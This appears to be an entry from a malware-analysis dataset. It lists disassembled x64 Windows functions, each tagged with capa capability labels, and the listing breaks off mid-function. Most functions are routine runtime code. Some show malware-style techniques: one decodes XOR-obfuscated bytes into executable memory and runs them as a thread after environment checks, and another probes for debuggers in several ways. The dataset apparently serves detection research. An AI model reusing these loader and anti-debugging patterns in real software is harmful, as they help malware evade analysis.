joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000fecc
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xf90]
mov eax, 0x1090
call fcn.140013a50
sub rsp, rax
mov rax, qword [0x140065610]
xor rax, rsp
mov qword [rbp + 0xf80], rax
mov rbx, rdx
mov rdi, rcx
mov esi, 0x800
lea rcx, [rbp + 0x780]
mov r8d, esi
xor edx, edx
call fcn.140015770
call fcn.1400048cc
mov qword [rsp + 0x30], rbx
lea rdx, [rbp + 0x780]
xor r15d, r15d
or r12, 0xffffffffffffffff
mov qword [rsp + 0x28], r15
mov r9, r12
mov rcx, qword [rax]
mov r8d, 0x400
mov qword [rsp + 0x20], rdi
call fcn.14001f900
test eax, eax
cmovs eax, r12d
test eax, eax
jns 0x14000ff65
mov word [rbp + 0xf7e], r15w
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x40]
call fcn.140015770
mov ebx, 0x20
lea rcx, [rsp + 0x40]
mov edx, ebx
call fcn.14000fe18
lea r8, [0x140047a1c]
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.14002bfa0
mov r8, rsi
lea rcx, [rbp - 0x80]
xor edx, edx
call fcn.140015770
mov rax, r12
inc rax
cmp word [rdi + rax*2], r15w
jne 0x14000ffaa
cmp rax, 6
jbe 0x14000ffd7
add rax, 0xfffffffffffffffa
lea rdx, str.__08x_
lea rcx, [rdi + rax*2]
call fcn.14002ddd8
test eax, eax
mov eax, 1
je 0x14000ffda
mov eax, r15d
lea rcx, [rsp + 0x40]
mov r14, r12
inc r14
cmp word [rcx + r14*2], r15w
jne 0x14000ffe2
test eax, eax
lea rcx, [0x140047a3c]
lea rdi, str.Error:
cmove rdi, rcx
lea rsi, [r14 + r14]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r9, [rbp + 0x780]
mov edx, 0x3ff
mov qword [rsp + 0x38], r9
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x30], rdi
lea r9, str.P:_04d_T:_04d__s_s
mov dword [rsp + 0x28], ebx
sub rdx, r14
add rcx, rsi
mov dword [rsp + 0x20], eax
mov r8, r12
call fcn.1400048dc
mov rcx, qword [rbp + 0x776]
test eax, eax
movabs rdx, 0x2e002e002e
mov r8, rsi
cmovs rcx, rdx
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x776], rcx
lea rcx, [rbp - 0x80]
call fcn.1400150c0
lea rcx, [rbp - 0x80]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x140010080
mov eax, dword [reloc.WSOCK32.dll_inet_addr]
mov dword [rcx], eax
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0xf80]
xor rcx, rsp
call fcn.140013ab0
lea r11, [rsp + 0x1090]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret

Function at 0x140010acc
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
call fcn.140011f88
test eax, eax
jne 0x140010b00
mov dword [rsp + 0x28], 1
lea r8, str.http:__java.com_inst_dl_redirect
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
add rsp, 0x38
ret
Function at 0x140010b84
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x3f70]
mov eax, 0x4070
call fcn.140013a50
sub rsp, rax
mov rax, qword [0x140065610]
xor rax, rsp
mov qword [rbp + 0x3f60], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
mov r15d, 0x1000
lea rcx, [rsp + 0x60]
mov r8d, r15d
xor edx, edx
xor edi, edi
call fcn.140015770
mov r8d, r15d
lea rcx, [rbp + 0xf60]
xor edx, edx
call fcn.140015770
lea rax, [rsp + 0x48]
mov r14d, 0x800
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x40], r14d
lea rdx, [0x14004a850]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140010d57
and qword [rsp + 0x38], rdi
and qword [rsp + 0x30], rdi
and qword [rsp + 0x28], rdi
and qword [rsp + 0x20], rdi
xor edx, edx
jmp 0x140010d3a
lea rax, [rsp + 0x60]
mov rdx, r14
lea r9, [0x14004a8c0]
mov qword [rsp + 0x20], rax
lea r8, [0x14004a928]
lea rcx, [rbp + 0xf60]
call fcn.14000add8
lea rax, [rsp + 0x50]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xf60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140010d19
mov r8, r15
lea rcx, [rbp + 0x1f60]
xor edx, edx
call fcn.140015770
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x1f60]
mov dword [rsp + 0x40], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.RuntimeLib
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140010d19
cmp dword [rsp + 0x40], eax
jbe 0x140010d19
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x2f60]
mov dword [rsp + 0x40], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x14004a980]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
and qword [rsp + 0x38], 0
inc edi
and qword [rsp + 0x30], 0
mov edx, edi
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov dword [rsp + 0x40], r14d
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140010c3e
lea rdx, [rbp + 0x2f60]
mov rcx, rbx
call fcn.14000f8c0
mov rax, rbx
mov rcx, qword [rbp + 0x3f60]
xor rcx, rsp
call fcn.140013ab0
lea r11, [rsp + 0x4070]
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140011778
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov rdi, rdx
mov qword [rax + 0x18], rbx
mov rsi, rcx
call fcn.140011bb0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
lea ebp, [rax*2 + 2]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400117dc
xor eax, eax
jmp 0x140011811
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], ebp
mov rdx, rsi
mov qword [rsp + 0x20], rdi
mov edi, 1
mov r9d, edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140011804
mov ebx, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140011ae8
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x18], r8d
push rdi
sub rsp, 0x40
xor ebx, ebx
mov dword [rax + 0x20], 1
mov qword [rax - 0x18], rbx
mov rdi, rdx
mov rsi, rcx
call fcn.140027650
test rax, rax
je 0x140011b31
mov edx, dword [rsp + 0x60]
mov r8, rax
mov rcx, rdi
call fcn.14002c020
test eax, eax
jne 0x140011b5c
lea eax, [rbx + 1]
jmp 0x140011b99
mov rdx, qword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
lea rax, [rsp + 0x30]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140011b60
xor eax, eax
jmp 0x140011b99
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140011b8c
lea ebx, [rax + 1]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140011d90
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x2f70]
mov eax, 0x3070
call fcn.140013a50
sub rsp, rax
mov rax, qword [0x140065610]
xor rax, rsp
mov qword [rbp + 0x2f60], rax
mov r14d, edx
mov rsi, rcx
mov r12d, 0x1000
lea rcx, [rsp + 0x60]
xor ebx, ebx
mov r8d, r12d
xor edx, edx
mov edi, ebx
call fcn.140015770
mov r8d, r12d
lea rcx, [rbp + 0xf60]
xor edx, edx
call fcn.140015770
lea rax, [rsp + 0x50]
mov dword [rsp + 0x40], 0x800
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [0x14004b800]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140011f46
xor edx, edx
jmp 0x140011f15
lea rax, [rsp + 0x60]
mov edx, 0x800
lea r9, [0x14004b870]
mov qword [rsp + 0x20], rax
lea r8, [0x14004b7d8]
lea rcx, [rbp + 0xf60]
call fcn.14000add8
lea rax, [rsp + 0x48]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xf60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140011f09
mov r8, r12
lea rcx, [rbp + 0x1f60]
xor edx, edx
call fcn.140015770
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
lea rax, [rbp + 0x1f60]
mov dword [rsp + 0x40], 0x800
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x14004b7e8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140011f09
cmp dword [rsp + 0x40], ebx
jbe 0x140011f09
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
xor r8d, r8d
mov qword [rsp + 0x20], rsi
lea rdx, [0x14004b858]
mov dword [rsp + 0x40], r14d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc edi
mov dword [rsp + 0x40], 0x800
mov edx, edi
mov rcx, qword [rsp + 0x50]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140011e30
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bx
jne 0x140011f4a
test rax, rax
setne bl
mov eax, ebx
mov rcx, qword [rbp + 0x2f60]
xor rcx, rsp
call fcn.140013ab0
mov rbx, qword [rsp + 0x30b0]
add rsp, 0x3070
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400122c8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
mov eax, 0x1040
call fcn.140013a50
sub rsp, rax
mov rax, qword [0x140065610]
xor rax, rsp
mov qword [rsp + 0x1030], rax
mov edx, 0x400
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor ebx, ebx
test eax, eax
je 0x14001234d
lea rax, [0x14004bc00]
mov edx, 0x400
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [0x14004bc30]
lea rcx, [rsp + 0x830]
call fcn.140012b48
test eax, eax
jle 0x14001234d
lea rcx, [rsp + 0x830]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140012349
test al, 0x10
jne 0x140012349
mov ebx, 1
mov eax, ebx
jmp 0x14001234f
xor eax, eax
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140013ab0
add rsp, 0x1040
pop rbx
ret

Function at 0x1400146c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001470a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001470a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001470a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001470a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001470a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001470c
xor al, al
add rsp, 0x28
ret

Function at 0x14002898c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14002881f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002881f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002881f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002881f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002881f
cmp dword [rcx + 0x84], 0xe
jbe 0x14002881f
cmp dword [rcx + 0xf8], 0
je 0x14002881f
mov ecx, ebx
call fcn.1400288c0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400286b0
cmp dword [rbp + 0x20], 0
je 0x14002886c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140028874
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400287b8

Function at 0x14002921c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14002923c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140029374
or eax, 0xffffffff
jmp 0x14002923e
xor eax, eax
add rsp, 0x28
ret

Function at 0x14003371c
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x1400336f9
call fcn.1400293e4
mov dword [rax], socket
call fcn.14002bc30
or eax, 0xffffffff
jmp 0x140033716
sub dword [rcx + 0x10], 1
jns 0x140033708
add rsp, 0x28
jmp fcn.140039c84
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x1400336d8
Function at 0x140039df0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x140039b16
call fcn.1400293e4
mov dword [rax], socket
call fcn.14002bc30
jmp 0x140039c61
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140039c61
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140039c61
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140039b45
lock or dword [rcx + 0x14], 0x10
jmp 0x140039c61
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140039b59
call fcn.14003fe78
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x140039b69
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x140039b6c
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.140032f90
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.140038290
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x140039c4f
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x140039bfd
mov rcx, rbx
call fcn.140032f90
cmp eax, 0xffffffff
je 0x140039be8
mov rcx, rbx
call fcn.140032f90
cmp eax, 0xfffffffe
je 0x140039be8
mov rcx, rbx
call fcn.140032f90
movsxd rdi, eax
lea r14, [0x14007bf80]
mov rcx, rbx
sar rdi, 6
call fcn.140032f90
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x140039bef
lea rdx, [0x140065940]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140039bfd
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x140039c21
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x140039c21
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x140039c21
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x140039c3f
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x140039c4a
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x140039c66
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x140039ae0
Function at 0x1403f9124
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1403f8f20

Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x340
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x330], rax
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0x11c]
mov edx, 0x80
lea rax, [rsp + 0x220]
sub r8, rax
lea rcx, [rsp + 0x220]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x140001074
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140001074
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x140001051
lea rax, [rcx - 2]
test rdx, rdx
cmovne rax, rcx
xor ebx, ebx
lea rcx, [rsp + 0x220]
mov word [rax], bx
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, [0x140003470]
lea rcx, [rsp + 0x220]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000118a
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rsp + 0x68], 2
jb 0x14000118a
mov edx, 1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x1400032a0]
movzx ecx, cl
movzx edx, byte [rcx]
mov rcx, rax
mov byte [rax], dl
mov edx, ebx
nop dword [rax + rax]
xor byte [rcx], 0x35
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x140001150
lea rcx, [rsp + 0x6c]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.1400011c0
add rsp, 0x340
pop rbx
ret

Function at 0x140001a88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ad2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ad2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ad2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ad2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ad2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ad4
xor al, al
add rsp, 0x28
ret
Function at 0x1400093c0
Capabilities:
Check for debugger via api

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x14008d040]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rdi, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
mov qword [rcx], rbp
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
mov qword [rcx + 0x18], rbp
mov qword [rcx + 0x20], rbp
lea r8d, [rbp + 0x13]
lea rdx, str.IsDebuggerPresent:
call fcn.140005310
mov dword [rsp + 0x30], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
lea r8d, [rbp + 1]
mov rcx, rdi
test eax, eax
lea rdx, [0x140085780]
jne 0x14000943a
lea rdx, [0x140085784]
call fcn.1400041a0
mov r8d, 1
lea rdx, [0x14008574c]
mov rcx, rdi
call fcn.1400041a0
mov r8d, 0x1c
lea rdx, str.CheckRemoteDebuggerPresent:
mov rcx, rdi
call fcn.1400041a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp eax, 1
jne 0x14000948f
cmp dword [rsp + 0x4c], eax
lea rdx, [0x140085780]
je 0x140009496
lea rdx, [0x140085784]
mov r8d, 1
mov rcx, rdi
call fcn.1400041a0
mov r8d, 1
lea rdx, [0x14008574c]
mov rcx, rdi
call fcn.1400041a0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x50]
lea edx, [r9 + 3]
call rsi
mov ebx, eax
mov r8d, 0x12
lea rdx, str.ProcessDebugPort:
mov rcx, rdi
call fcn.1400041a0
test ebx, ebx
jne 0x140009526
cmp dword [rsp + 0x50], 0xffffffff
lea rdx, [0x140085780]
je 0x14000952d
lea rdx, [0x140085784]
mov r8d, 1
mov rcx, rdi
call fcn.1400041a0
mov r8d, 1
lea rdx, [0x14008574c]
mov rcx, rdi
call fcn.1400041a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x54]
lea edx, [r9 + 0x1b]
call rsi
mov ebx, eax
mov r8d, 0x13
lea rdx, str.ProcessDebugFlags:
mov rcx, rdi
call fcn.1400041a0
test ebx, ebx
jne 0x14000959c
cmp dword [rsp + 0x54], ebx
lea rdx, [0x140085780]
je 0x1400095a3
lea rdx, [0x140085784]
mov r8d, 1
mov rcx, rdi
call fcn.1400041a0
mov r8d, 1
lea rdx, [0x14008574c]
mov rcx, rdi
call fcn.1400041a0
mov qword [rsp + 0x40], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x40]
lea edx, [r9 + 0x16]
call rsi
mov ebx, eax
mov r8d, 0x1a
lea rdx, str.ProcessDebugObjectHandle:
mov rcx, rdi
call fcn.1400041a0
test ebx, ebx
jne 0x140009619
cmp qword [rsp + 0x40], 0
lea rdx, [0x140085780]
jne 0x140009620
lea rdx, [0x140085784]
mov r8d, 1
mov rcx, rdi
call fcn.1400041a0
mov r8d, 1
lea rdx, [0x14008574c]
mov rcx, rdi
call fcn.1400041a0
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140010e80
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140009670
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x14008d040]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor ebp, ebp
mov dword [rsp + 0x40], ebp
mov qword [rcx], rbp
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
mov qword [rcx + 0x18], rbp
mov qword [rcx + 0x20], rbp
lea r8d, [rbp + 0xe]
lea rdx, str.Recent_files:_n
call fcn.140005310
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x50], rbp
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14006c700]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov esi, 0x104
mov ecx, esi
call fcn.140010f90
mov rdi, rax
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rbp - 1]
mov r8, qword [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [rsp + 0x1a0], bpl
mov r8d, esi
xor edx, edx
lea rcx, [rsp + 0x1a1]
call fcn.1400692a0
mov ecx, esi
lea rax, [rsp + 0x1a0]
nop word [rax + rax]
mov r8d, 0x7ffffffe
cmp byte [rax], 0
je 0x140009766
inc rax
sub rcx, 1
jne 0x140009750
jmp 0x1400097ad
mov rax, rsi
sub rax, rcx
lea rdx, [rsp + 0x1a0]
add rdx, rax
test rcx, rcx
je 0x1400097a7
mov rax, r8
sub rdi, rdx
test rax, rax
je 0x1400097aa
movzx r9d, byte [rdi + rdx]
test r9b, r9b
je 0x1400097a2
mov byte [rdx], r9b
inc rdx
dec rax
sub rcx, 1
jne 0x140009782
jmp 0x1400097a7
test rcx, rcx
jne 0x1400097aa
dec rdx
mov byte [rdx], 0
mov rax, rsi
lea rcx, [rsp + 0x1a0]
cmp byte [rcx], 0
je 0x1400097c8
inc rcx
sub rax, 1
jne 0x1400097b8
jmp 0x14000980e
sub rsi, rax
lea rcx, [rsp + 0x1a0]
add rcx, rsi
test rax, rax
je 0x140009808
lea r9, [0x140086218]
sub r9, rcx
